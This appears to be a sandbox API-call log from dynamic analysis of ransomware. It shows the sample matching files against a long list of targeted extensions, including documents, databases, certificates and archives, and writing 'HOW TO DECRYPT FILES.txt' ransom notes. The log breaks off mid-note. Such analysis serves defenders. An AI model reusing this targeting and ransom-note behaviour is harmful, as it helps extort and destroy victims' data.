0 [0111.836] lstrlenA (lpString="*.mdb") returned 5 [0111.836] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.fdb") returned 0 [0111.836] lstrlenA (lpString="*.fdb") returned 5 [0111.836] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.wab") returned 0 [0111.836] lstrlenA (lpString="*.wab") returned 5 [0111.836] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.dat") returned 0 [0111.836] lstrlenA (lpString="*.dat") returned 5 [0111.836] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.txt") returned 0 [0111.836] lstrlenA (lpString="*.txt") returned 5 [0111.837] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.jpeg") returned 0 [0111.837] lstrlenA (lpString="*.jpeg") returned 6 [0111.837] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.jpg") returned 0 [0111.837] lstrlenA (lpString="*.jpg") returned 5 [0111.837] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.png") returned 0 [0111.837] lstrlenA (lpString="*.png") returned 5 [0111.837] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.php") returned 0 [0111.837] lstrlenA (lpString="*.php") returned 5 [0111.837] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.cs") returned 0 [0111.837] lstrlenA (lpString="*.cs") returned 4 [0111.837] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.cpp") returned 0 [0111.837] lstrlenA (lpString="*.cpp") returned 5 [0111.837] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.rar") returned 0 [0111.837] lstrlenA (lpString="*.rar") returned 5 [0111.837] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.zip") returned 0 [0111.837] lstrlenA (lpString="*.zip") returned 5 [0111.837] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.html") returned 0 [0111.837] lstrlenA (lpString="*.html") returned 6 [0111.837] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.htm") returned 0 [0111.837] lstrlenA (lpString="*.htm") returned 5 [0111.837] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.xlsx") returned 0 [0111.837] lstrlenA (lpString="*.xlsx") returned 6 [0111.837] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.xls") returned 0 [0111.837] lstrlenA (lpString="*.xls") returned 5 [0111.837] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.mp4") returned 0 [0111.837] lstrlenA (lpString="*.mp4") returned 5 [0111.837] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.ppt") returned 0 [0111.837] lstrlenA (lpString="*.ppt") returned 5 [0111.838] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.pptx") returned 0 [0111.838] lstrlenA (lpString="*.pptx") returned 6 [0111.838] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.doc") returned 0 [0111.838] lstrlenA (lpString="*.doc") returned 5 [0111.838] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.dot") returned 0 [0111.838] lstrlenA (lpString="*.dot") returned 5 [0111.838] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.docx") returned 0 [0111.838] lstrlenA (lpString="*.docx") returned 6 [0111.838] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.7z") returned 0 [0111.838] lstrlenA (lpString="*.7z") returned 4 [0111.838] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.tar") returned 0 [0111.838] lstrlenA (lpString="*.tar") returned 5 [0111.838] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.bz2") returned 0 [0111.838] lstrlenA (lpString="*.bz2") returned 5 [0111.838] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.gz") returned 0 [0111.838] lstrlenA (lpString="*.gz") returned 4 [0111.838] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.mkv") returned 0 [0111.838] lstrlenA (lpString="*.mkv") returned 5 [0111.838] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.eml") returned 0 [0111.838] lstrlenA (lpString="*.eml") returned 5 [0111.838] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.msg") returned 0 [0111.838] lstrlenA (lpString="*.msg") returned 5 [0111.838] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.edb") returned 0 [0111.838] lstrlenA (lpString="*.edb") returned 5 [0111.838] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.accdb") returned 0 [0111.838] lstrlenA (lpString="*.accdb") returned 7 [0111.838] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.odb") returned 0 [0111.838] lstrlenA (lpString="*.odb") returned 5 [0111.838] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.java") returned 0 [0111.838] lstrlenA (lpString="*.java") returned 6 [0111.838] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.asm") returned 0 [0111.839] lstrlenA (lpString="*.asm") returned 5 [0111.839] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.pfx") returned 0 [0111.839] lstrlenA (lpString="*.pfx") returned 5 [0111.839] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.pem") returned 0 [0111.839] lstrlenA (lpString="*.pem") returned 5 [0111.839] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.p12") returned 0 [0111.839] lstrlenA (lpString="*.p12") returned 5 [0111.839] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.gpg") returned 0 [0111.839] lstrlenA (lpString="*.gpg") returned 5 [0111.839] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.vsd") returned 0 [0111.839] lstrlenA (lpString="*.vsd") returned 5 [0111.839] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.odg") returned 0 [0111.839] lstrlenA (lpString="*.odg") returned 5 [0111.839] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.raw") returned 0 [0111.839] lstrlenA (lpString="*.raw") returned 5 [0111.839] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.nef") returned 0 [0111.839] lstrlenA (lpString="*.nef") returned 5 [0111.839] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.svg") returned 0 [0111.839] lstrlenA (lpString="*.svg") returned 5 [0111.839] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.psd") returned 0 [0111.839] lstrlenA (lpString="*.psd") returned 5 [0111.839] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.vmx") returned 0 [0111.839] lstrlenA (lpString="*.vmx") returned 5 [0111.839] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.vmdk") returned 0 [0111.839] lstrlenA (lpString="*.vmdk") returned 6 [0111.839] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.vdi") returned 0 [0111.839] lstrlenA (lpString="*.vdi") returned 5 [0111.839] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.lay6") returned 0 [0111.839] lstrlenA (lpString="*.lay6") returned 6 [0111.839] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.mpeg") returned 0 [0111.839] lstrlenA (lpString="*.mpeg") returned 6 [0111.840] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.djvu") returned 0 [0111.840] lstrlenA (lpString="*.djvu") returned 6 [0111.840] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.tiff") returned 0 [0111.840] lstrlenA (lpString="*.tiff") returned 6 [0111.840] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.backup") returned 0 [0111.840] lstrlenA (lpString="*.backup") returned 8 [0111.840] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.pdf") returned 0 [0111.840] lstrlenA (lpString="*.pdf") returned 5 [0111.840] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.cert") returned 0 [0111.840] lstrlenA (lpString="*.cert") returned 6 [0111.840] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.docm") returned 0 [0111.840] lstrlenA (lpString="*.docm") returned 6 [0111.840] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.xlsm") returned 0 [0111.840] lstrlenA (lpString="*.xlsm") returned 6 [0111.840] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.dwg") returned 0 [0111.840] lstrlenA (lpString="*.dwg") returned 5 [0111.840] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.nd") returned 0 [0111.840] lstrlenA (lpString="*.nd") returned 4 [0111.840] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.tlg") returned 0 [0111.840] lstrlenA (lpString="*.tlg") returned 5 [0111.840] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.lgb") returned 0 [0111.840] lstrlenA (lpString="*.lgb") returned 5 [0111.840] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.mov") returned 0 [0111.840] lstrlenA (lpString="*.mov") returned 5 [0111.840] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.xdw") returned 0 [0111.840] lstrlenA (lpString="*.xdw") returned 5 [0111.840] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.ods") returned 0 [0111.840] lstrlenA (lpString="*.ods") returned 5 [0111.840] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.wav") returned 0 [0111.840] lstrlenA (lpString="*.wav") returned 5 [0111.841] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.mp3") returned 0 [0111.841] lstrlenA (lpString="*.mp3") returned 5 [0111.841] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.aiff") returned 0 [0111.841] lstrlenA (lpString="*.aiff") returned 6 [0111.841] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.flac") returned 0 [0111.841] lstrlenA (lpString="*.flac") returned 6 [0111.841] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.m4a") returned 0 [0111.841] lstrlenA (lpString="*.m4a") returned 5 [0111.841] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.csv") returned 0 [0111.841] lstrlenA (lpString="*.csv") returned 5 [0111.841] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x675e74, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x675e74, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x675e74, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MSBuild.ni.exe", cAlternateFileName="MSBUIL~1.EXE")) returned 0 [0111.841] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.841] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2134, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x6c2134, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x6c2134, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1a154709cdfe214029ea88c51ab2b579", cAlternateFileName="1A1547~1")) returned 0 [0111.841] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0111.841] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ca7b087, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24d7450c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x24d7450c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x53004d, dwReserved1=0x750042, cFileName="mscorlib", cAlternateFileName="")) returned 1 [0111.841] lstrcmpA (lpString1=".", lpString2="mscorlib") returned -1 [0111.841] lstrcmpA (lpString1="..", lpString2="mscorlib") returned -1 [0111.841] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0111.841] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="mscorlib" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib" [0111.841] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib") returned 55 [0111.841] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ca7b087, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24d7450c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x24d7450c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0111.842] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.842] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ca7b087, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24d7450c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x24d7450c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.842] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.842] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.842] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24aa0ae7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x24aa0ae7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x24aa0ae7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9469491f37d9c35b596968b206615309", cAlternateFileName="946949~1")) returned 1 [0111.842] lstrcmpA (lpString1=".", lpString2="9469491f37d9c35b596968b206615309") returned -1 [0111.842] lstrcmpA (lpString1="..", lpString2="9469491f37d9c35b596968b206615309") returned -1 [0111.842] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\*.*") returned="*.*" [0111.842] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\", lpString2="9469491f37d9c35b596968b206615309" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309" [0111.842] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309") returned 88 [0111.842] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24aa0ae7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x24aa0ae7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x24aa0ae7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.843] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.843] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24aa0ae7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x24aa0ae7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x24aa0ae7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.843] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.843] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.843] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2446111c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x2446111c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x2460403f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xed8e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="mscorlib.ni.dll", cAlternateFileName="MSCORL~1.DLL")) returned 1 [0111.843] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.843] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mscorlib.ni.dll") returned -1 [0111.843] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mscorlib.ni.dll") returned -1 [0111.843] lstrcmpiA (lpString1="", lpString2="mscorlib.ni.dll") returned -1 [0111.843] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\*.*") returned="*.*" [0111.843] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\" [0111.844] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\") returned="" [0111.844] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\HOW TO DECRYPT FILES.txt" [0111.844] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\how to decrypt files.txt")) returned 0xffffffff [0111.844] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.845] lstrlenA (lpString="All your personal FILES are now 